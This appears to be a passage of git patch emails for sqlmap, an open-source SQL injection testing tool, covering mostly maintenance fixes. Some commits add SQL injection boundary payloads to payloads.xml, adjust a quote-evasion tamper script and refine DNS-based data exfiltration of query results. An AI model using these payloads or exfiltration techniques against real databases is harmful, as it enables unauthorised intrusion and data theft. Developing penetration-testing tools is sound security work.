Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value): + warnMsg = "if you experience problems with " + warnMsg += "non-ASCII identifier names " + warnMsg += "you are advised to rerun with '--tamper=charunicodeencode'" + singleTimeWarnMessage(warnMsg) + count = 0 result = None if value is None else "" From 24954776a59de1bbee08cc5f6fd32aef3f3f250e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 May 2014 22:00:26 +0200 Subject: [PATCH 319/889] Patch for an Issue #697 --- lib/core/common.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index df22dd4f5..ca9dd97f1 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2215,16 +2215,16 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): if conf.get("direct"): return value - if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value): - warnMsg = "if you experience problems with " - warnMsg += "non-ASCII identifier names " - warnMsg += "you are advised to rerun with '--tamper=charunicodeencode'" - singleTimeWarnMessage(warnMsg) - count = 0 result = None if value is None else "" if value: + if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value): + warnMsg = "if you experience problems with " + warnMsg += "non-ASCII identifier names " + warnMsg += "you are advised to rerun with '--tamper=charunicodeencode'" + singleTimeWarnMessage(warnMsg) + if convall or safe is None: safe = "" From 65c4ea1562c42c9cf755167bebc71f002d8dc116 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 May 2014 22:30:53 +0200 Subject: [PATCH 320/889] Minor update --- plugins/dbms/mssqlserver/fingerprint.py | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index f869c089e..90fffb160 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -134,14 +134,16 @@ class Fingerprint(GenericFingerprint): self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) - versions = { "2003": ("5.2", (2, 1)), - # TODO: verify this - #"2003": ("6.0", (2, 1)), - "2008": ("7.0", (2, 1,)), + # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions + # http://en.wikipedia.org/wiki/Windows_NT#Releases + versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), "2000": ("5.0", (4, 3, 2, 1)), - "7": ("6.1", (1, 0)), "XP": ("5.1", (3, 2, 1)), - "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } + "2003": ("5.2", (2, 1)), + "Vista or 2008": ("6.0", (2, 1)), + "7 or 2008 R2": ("6.1", (1, 0)), + "8 or 2012": ("6.2", (0,)), + "8.1 or 2012 R2": ("6.3", (0,)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): From 2d5461d250447950e7a716e8d1b903bf703b5671 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 22 May 2014 09:03:14 +0200 Subject: [PATCH 321/889] Minor fix (related to the unknown encoding reported by ML) --- lib/request/basic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index 5947efe06..95a6b23ec 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -141,7 +141,7 @@ def checkCharEncoding(encoding, warn=True): return encoding # Reference: http://www.destructor.de/charsets/index.htm - translate = {"windows-874": "iso-8859-11", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii"} + translate = {"windows-874": "iso-8859-11", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk"} for delimiter in (';', ',', '('): if delimiter in encoding: From cf4e0c755b501d533f12d91ca3092b0b3d71e2c8 Mon Sep 17 00:00:00 2001 From: Markus Wulftange Date: Sat, 24 May 2014 17:15:27 +0200 Subject: [PATCH 322/889] Add boundary checks for derived tables in FROM clause --- xml/payloads.xml | 56 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) diff --git a/xml/payloads.xml b/xml/payloads.xml index 54a016d7c..c39d71ede 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -569,6 +569,62 @@ Formats: + + + 5 + 1 + 1,2 + 2 + ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + -- + + + + 5 + 1 + 1,2 + 2 + ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + -- + + + + 5 + 1 + 1,2 + 1 + )) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + -- + + + + 4 + 1 + 1,2 + 2 + ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + -- + + + + 5 + 1 + 1,2 + 4 + ") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + -- + + + + 4 + 1 + 1,2 + 1 + ) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + -- + + + 5 From 680ab10ca6edd88e2d21ad3adfd59146aa39f4c0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 27 May 2014 21:41:07 +0200 Subject: [PATCH 323/889] Patch for an Issue #703 --- lib/core/common.py | 22 ++++++++++++++-------- lib/request/inject.py | 2 +- 2 files changed, 15 insertions(+), 9 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index ca9dd97f1..ac453a046 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -917,7 +917,7 @@ def readInput(message, default=None, checkBatch=True): return retVal -def randomRange(start=0, stop=1000): +def randomRange(start=0, stop=1000, seed=None): """ Returns random integer value in given range @@ -926,9 +926,11 @@ def randomRange(start=0, stop=1000): 423 """ - return int(random.randint(start, stop)) + randint = random.WichmannHill(seed).randint if seed is not None else random.randint -def randomInt(length=4): + return int(randint(start, stop)) + +def randomInt(length=4, seed=None): """ Returns random integer value with provided number of digits @@ -937,9 +939,11 @@ def randomInt(length=4): 874254 """ - return int("".join(random.choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length))) + choice = random.WichmannHill(seed).choice if seed is not None else random.choice -def randomStr(length=4, lowercase=False, alphabet=None): + return int("".join(choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length))) + +def randomStr(length=4, lowercase=False, alphabet=None, seed=None): """ Returns random string value with provided number of characters @@ -948,12 +952,14 @@ def randomStr(length=4, lowercase=False, alphabet=None): 'RNvnAv' """ + choice = random.WichmannHill(seed).choice if seed is not None else random.choice + if alphabet: - retVal = "".join(random.choice(alphabet) for _ in xrange(0, length)) + retVal = "".join(choice(alphabet) for _ in xrange(0, length)) elif lowercase: - retVal = "".join(random.choice(string.ascii_lowercase) for _ in xrange(0, length)) + retVal = "".join(choice(string.ascii_lowercase) for _ in xrange(0, length)) else: - retVal = "".join(random.choice(string.ascii_letters) for _ in xrange(0, length)) + retVal = "".join(choice(string.ascii_letters) for _ in xrange(0, length)) return retVal diff --git a/lib/request/inject.py b/lib/request/inject.py index 11645e44d..c8bdf5db5 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -83,7 +83,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar expression = "SELECT %s FROM (%s)" % (field, expression) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - expression += " AS %s" % randomStr(lowercase=True) + expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression)) if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','): nulledCastedField = agent.nullAndCastField(field) From 9e02816cbd4ea7ed4a67706f2a317d2d79d15fbe Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 29 May 2014 09:21:48 +0200 Subject: [PATCH 324/889] Raising number of used md5 digits in hashdb key value because of birthday paradox (Python can handle it - automatically expanding to long if required; SQLite can handle it - it will use 6 bytes per INTEGERs instead of 4) --- lib/utils/hashdb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index f0aa783f2..9c42cf884 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -63,7 +63,7 @@ class HashDB(object): @staticmethod def hashKey(key): key = key.encode(UNICODE_ENCODING) if isinstance(key, unicode) else repr(key) - retVal = int(hashlib.md5(key).hexdigest()[:8], 16) + retVal = int(hashlib.md5(key).hexdigest()[:12], 16) return retVal def retrieve(self, key, unserialize=False): From 0f10cdfa4c1252becaa1ef69eea21e13949d5533 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 29 May 2014 09:24:09 +0200 Subject: [PATCH 325/889] Minor update --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f49f10463..6965ac57a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -467,7 +467,7 @@ HASHDB_FLUSH_RETRIES = 3 HASHDB_END_TRANSACTION_RETRIES = 3 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) -HASHDB_MILESTONE_VALUE = "cAWxkLYCQT" # r5129 "".join(random.sample(string.ascii_letters, 10)) +HASHDB_MILESTONE_VALUE = "OZkQMtwHoP" # r9e02816 "".join(random.sample(string.ascii_letters, 10)) # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 From 27ebc025354ef092496f595da9830364e00f204e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 29 May 2014 09:33:14 +0200 Subject: [PATCH 326/889] Minor fix (user reported problem via email) --- lib/core/convert.py | 6 +++++- lib/core/target.py | 3 ++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index c94bdf85d..406ef9d5b 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -48,7 +48,11 @@ def base64pickle(value): warnMsg += "instance of a type '%s'" % type(value) singleTimeWarnMessage(warnMsg) - retVal = base64encode(pickle.dumps(str(value), pickle.HIGHEST_PROTOCOL)) + try: + retVal = base64encode(pickle.dumps(value)) + except: + retVal = base64encode(pickle.dumps(str(value), pickle.HIGHEST_PROTOCOL)) + return retVal def base64unpickle(value): diff --git a/lib/core/target.py b/lib/core/target.py index c3bed1647..b2c0a8717 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -25,6 +25,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.data import mergedOptions from lib.core.data import paths +from lib.core.datatype import InjectionDict from lib.core.dicts import DBMS_DICT from lib.core.dump import dumper from lib.core.enums import HASHDB_KEYS @@ -345,7 +346,7 @@ def _resumeHashDBValues(): conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: - if injection.place in conf.paramDict and \ + if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \ injection.parameter in conf.paramDict[injection.place]: if not conf.tech or intersect(conf.tech, injection.data.keys()): From 54be398e838f97bf4295445da5ef4323646eec98 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 4 Jun 2014 16:35:07 +0200 Subject: [PATCH 327/889] Patch for an Issue #711 --- lib/core/common.py | 3 --- lib/core/target.py | 22 +++++++++++++++------- sqlmap.py | 4 ---- 3 files changed, 15 insertions(+), 14 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index ac453a046..317893215 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1045,9 +1045,6 @@ def setPaths(): paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") paths.SQLMAP_OUTPUT_PATH = paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_ROOT_PATH, "output")) - if not os.access(paths.SQLMAP_OUTPUT_PATH, os.W_OK): - paths.SQLMAP_OUTPUT_PATH = os.path.join(os.path.expanduser("~"), ".sqlmap", "output") - paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") diff --git a/lib/core/target.py b/lib/core/target.py index b2c0a8717..d4dddc393 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -14,6 +14,7 @@ import time import urlparse from lib.core.common import Backend +from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import intersect from lib.core.common import paramToDict @@ -513,15 +514,22 @@ def _createTargetDirs(): try: os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) except OSError, ex: - tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") - warnMsg = "unable to create default root output directory " - warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, ex) - warnMsg += "Using temporary directory '%s' instead" % tempDir - logger.warn(warnMsg) + paths.SQLMAP_OUTPUT_PATH = os.path.join(os.path.expanduser("~"), ".sqlmap", "output") + try: + if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): + os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) + warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH + logger.warn(warnMsg) + except OSError, ex: + tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") + warnMsg = "unable to create regular output directory " + warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, ex) + warnMsg += "Using temporary directory '%s' instead" % tempDir + logger.warn(warnMsg) - paths.SQLMAP_OUTPUT_PATH = tempDir + paths.SQLMAP_OUTPUT_PATH = tempDir - conf.outputPath = os.path.join(paths.SQLMAP_OUTPUT_PATH, conf.hostname) + conf.outputPath = os.path.join(paths.SQLMAP_OUTPUT_PATH, getUnicode(conf.hostname)) if not os.path.isdir(conf.outputPath): try: diff --git a/sqlmap.py b/sqlmap.py index 0e81ef537..5a889d5f9 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -83,10 +83,6 @@ def main(): dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True) - if ".sqlmap" in paths.SQLMAP_OUTPUT_PATH: - warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH - logger.warn(warnMsg) - init() if conf.profile: From dac386735aab080ee23ef2d01be3cea19a2144e9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 8 Jun 2014 12:34:12 +0200 Subject: [PATCH 328/889] Patch for an Issue #713 --- tamper/unmagicquotes.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index e79db0fc9..6d1cf1e7a 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -44,7 +44,9 @@ def tamper(payload, **kwargs): continue if found: - retVal = re.sub("\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*", "", retVal) - retVal += "-- " + _ = re.sub("\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*", "", retVal) + if _ != retVal: + retVal = _ + retVal += "-- " return retVal From 5659eeec10dd8e324a3435c34b7da33a21968a2c Mon Sep 17 00:00:00 2001 From: securitygeneration Date: Sun, 8 Jun 2014 19:14:38 +0100 Subject: [PATCH 329/889] Modified regex to be case insensitive Changed the regular expression to be case insensitive so that it works with the randomcase.py tamper script. --- tamper/unmagicquotes.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index 6d1cf1e7a..078c4f5ba 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -44,7 +44,7 @@ def tamper(payload, **kwargs): continue if found: - _ = re.sub("\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*", "", retVal) + _ = re.sub("\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*", "", retVal, flags=re.I) if _ != retVal: retVal = _ retVal += "-- " From 5e9334ab7903042c4b6fc4a4885ee33345519cbe Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 8 Jun 2014 23:55:15 +0200 Subject: [PATCH 330/889] Implementation for an Issue #715 --- lib/core/option.py | 29 ++++++++++++----------------- 1 file changed, 12 insertions(+), 17 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 766985e53..c8e00f8a0 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1734,25 +1734,20 @@ def _useWizardInterface(): logger.info("starting wizard interface") - while True: - while not conf.url: - message = "Please enter full target URL (-u): " - conf.url = readInput(message, default=None) + while not conf.url: + message = "Please enter full target URL (-u): " + conf.url = readInput(message, default=None) - message = "POST data (--data) [Enter for None]: " - conf.data = readInput(message, default=None) + message = "POST data (--data) [Enter for None]: " + conf.data = readInput(message, default=None) - if filter(lambda _: '=' in unicode(_), (conf.url, conf.data)) or '*' in conf.url: - break - else: - warnMsg = "no GET and/or POST parameter(s) found for testing " - warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1')" - logger.critical(warnMsg) - - if conf.crawlDepth or conf.forms: - break - else: - conf.url = conf.data = None + if not (filter(lambda _: '=' in unicode(_), (conf.url, conf.data)) or '*' in conf.url): + warnMsg = "no GET and/or POST parameter(s) found for testing " + warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). " + if not conf.crawlDepth and not conf.forms: + warnMsg += "Will search for forms" + conf.forms = True + logger.warn(warnMsg) choice = None From c50560c3a64e3b7678869d3ac212dc192426121a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 10 Jun 2014 21:57:54 +0200 Subject: [PATCH 331/889] Patch for an Issue #716 --- lib/request/redirecthandler.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 40c5fe9b9..a74327942 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -118,7 +118,11 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler): req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) if headers and HTTP_HEADER.SET_COOKIE in headers: req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)[0] - result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) + try: + result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) + except: + redurl = None + result = fp else: result = fp From 2beeb178fb2f131db138b47d008f3064c03b4e6e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 12 Jun 2014 08:56:35 +0200 Subject: [PATCH 332/889] Minor patch --- plugins/dbms/mysql/takeover.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index 15f875388..e6e79e3db 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -42,7 +42,7 @@ class Takeover(GenericTakeover): # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir")) - if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I): + if re.search("^[\w]\:[\/\\\\]+", (self.__basedir or ""), re.I): Backend.setOs(OS.WINDOWS) else: Backend.setOs(OS.LINUX) From f558b800ac005e1fcb2d63aec020045f287c5d73 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 12 Jun 2014 09:08:55 +0200 Subject: [PATCH 333/889] Patch for an Issue #719 --- lib/request/redirecthandler.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index a74327942..8d4338175 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -8,6 +8,8 @@ See the file 'doc/COPYING' for copying permission import urllib2 import urlparse +from StringIO import StringIO + from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -123,6 +125,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler): except: redurl = None result = fp + fp.read = StringIO("").read else: result = fp From 2a88436417ab50711179462ed35cdc0bf4a21611 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 16 Jun 2014 09:51:24 +0200 Subject: [PATCH 334/889] Patch for an Issue #724 --- lib/controller/checks.py | 6 +++--- lib/request/connect.py | 6 ++++-- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index ffdcd19ae..10e9dab82 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1230,9 +1230,6 @@ def checkConnection(suppressOutput=False): kb.errorIsNone = True except SqlmapConnectionException, errMsg: - errMsg = getUnicode(errMsg) - logger.critical(errMsg) - if conf.ipv6: warnMsg = "check connection to a provided " warnMsg += "IPv6 address with a tool like ping6 " @@ -1242,6 +1239,9 @@ def checkConnection(suppressOutput=False): singleTimeWarnMessage(warnMsg) if any(code in kb.httpErrorCodes for code in (httplib.NOT_FOUND, )): + errMsg = getUnicode(errMsg) + logger.critical(errMsg) + if conf.multipleTargets: return False diff --git a/lib/request/connect.py b/lib/request/connect.py index da5d9373c..f3d404885 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -537,8 +537,10 @@ class Connect(object): warnMsg = "unable to connect to the target URL" elif "BadStatusLine" in tbMsg: warnMsg = "connection dropped or unknown HTTP " - warnMsg += "status code received. Try to force the HTTP User-Agent " - warnMsg += "header with option '--user-agent' or switch '--random-agent'" + warnMsg += "status code received" + if not conf.agent and not conf.randomAgent: + warnMsg += ". Try to force the HTTP User-Agent " + warnMsg += "header with option '--user-agent' or switch '--random-agent'" elif "IncompleteRead" in tbMsg: warnMsg = "there was an incomplete read error while retrieving data " warnMsg += "from the target URL" From a47072ecedc35bab7a82fe4f88c61c61068129c1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 22 Jun 2014 00:09:08 +0200 Subject: [PATCH 335/889] Patch for an Issue #732 --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index c8e00f8a0..2a4384e71 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1910,7 +1910,7 @@ def _mergeOptions(inputOptions, overrideOptions): types_.update(optDict[group]) for key in conf: - if key.upper() in _: + if key.upper() in _ and key in types_: value = _[key.upper()] if types_[key] == OPTION_TYPE.BOOLEAN: From 11dee4c8cdc383f5603a7f3d5ee0449803d06d5d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 22 Jun 2014 00:19:10 +0200 Subject: [PATCH 336/889] Patch for an Issue #731 --- plugins/generic/databases.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index af0796a4f..10cd7f714 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -215,11 +215,11 @@ class Databases: else: dbs = self.getDbs() + dbs = [_ for _ in dbs if _ and _.strip()] + for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) - dbs = filter(None, dbs) - if bruteForce: resumeAvailable = False From 5b5a765f96142cda789f89d2d16659e598024c40 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 23 Jun 2014 12:24:08 +0200 Subject: [PATCH 337/889] Patch for an Issue #734 --- lib/core/option.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index 2a4384e71..c4b4ab868 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2104,6 +2104,10 @@ def _basicOptionValidation(): errMsg = "switch '--no-cast' is incompatible with switch '--hex'" raise SqlmapSyntaxException(errMsg) + if conf.dumpAll and conf.search: + errMsg = "switch '--dump-all' is incompatible with switch '--search'" + raise SqlmapSyntaxException(errMsg) + if conf.string and conf.notString: errMsg = "option '--string' is incompatible with switch '--not-string'" raise SqlmapSyntaxException(errMsg) From ac43051df200509d36432b36eef8826aa1532562 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 23 Jun 2014 21:24:45 +0200 Subject: [PATCH 338/889] Patch for an Issue #553 --- plugins/generic/databases.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 10cd7f714..7d5151263 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -746,9 +746,6 @@ class Databases: pushValue(conf.tbl) pushValue(conf.col) - conf.db = None - conf.tbl = None - conf.col = None kb.data.cachedTables = {} kb.data.cachedColumns = {} From 75279ea75aaf2ecbe73badea23e01ed6ee912aca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Jun 2014 13:07:34 +0200 Subject: [PATCH 339/889] Fix for DNS exfiltration of boolean checks --- lib/request/inject.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/request/inject.py b/lib/request/inject.py index c8bdf5db5..27caeaa87 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -71,7 +71,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar value = _goDns(payload, expression) - if value: + if value is not None: return value timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) @@ -291,6 +291,12 @@ def _goBooleanProxy(expression): query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) + + output = _goDns(payload, expression) + + if output is not None: + return output + timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) From 2f8d17bcb7a702799dc7678028aa2d2a5d1457bc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Jun 2014 13:45:40 +0200 Subject: [PATCH 340/889] Appendix to last commit --- lib/request/inject.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/inject.py b/lib/request/inject.py index 27caeaa87..96efcae6a 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -55,7 +55,7 @@ from lib.techniques.union.use import unionUse def _goDns(payload, expression): value = None - if conf.dnsName and kb.dnsTest is not False: + if conf.dnsName and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None: if kb.dnsTest is None: dnsTest(payload) From 8e660e6911dbcda9bf60161a153d7dfbe50c83bf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Jun 2014 14:14:29 +0200 Subject: [PATCH 341/889] Minor fix --- lib/techniques/dns/use.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 85ffab5ff..ef7280be9 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -90,6 +90,8 @@ def dnsUse(payload, expression): else: break + output = decodeHexValue(output) if conf.hexConvert else output + kb.dnsMode = False if output is not None: From 686fe4d0e9f75bc8216ec6103d634d9f0a5d7856 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Jun 2014 14:22:00 +0200 Subject: [PATCH 342/889] Another patch for DNS exfiltration and boolean checks --- lib/request/inject.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/lib/request/inject.py b/lib/request/inject.py index 96efcae6a..e75b3d267 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -286,17 +286,20 @@ def _goBooleanProxy(expression): initTechnique(kb.technique) + query = agent.prefixQuery(kb.injection.data[kb.technique].vector) + query = agent.suffixQuery(query) + payload = agent.payload(newValue=query) + output = _goDns(payload, expression) + + if output is not None: + return output + vector = kb.injection.data[kb.technique].vector vector = vector.replace("[INFERENCE]", expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) - output = _goDns(payload, expression) - - if output is not None: - return output - timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) From c2f14e57e75d53392a639fe435e26b5d96b4e3dc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 29 Jun 2014 00:27:23 +0200 Subject: [PATCH 343/889] Patch for an Issue #740 --- lib/takeover/web.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index e732eb6c1..61f376949 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -41,6 +41,7 @@ from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import PAYLOAD from lib.core.enums import WEB_API +from lib.core.exception import SqlmapNoneDataException from lib.core.settings import 